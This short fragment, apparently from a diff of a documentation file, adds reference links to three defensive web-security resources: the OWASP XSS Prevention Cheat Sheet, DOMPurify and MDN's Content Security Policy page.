- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
|
|
224
|
+
- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
|
|
225
|
+
- [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
|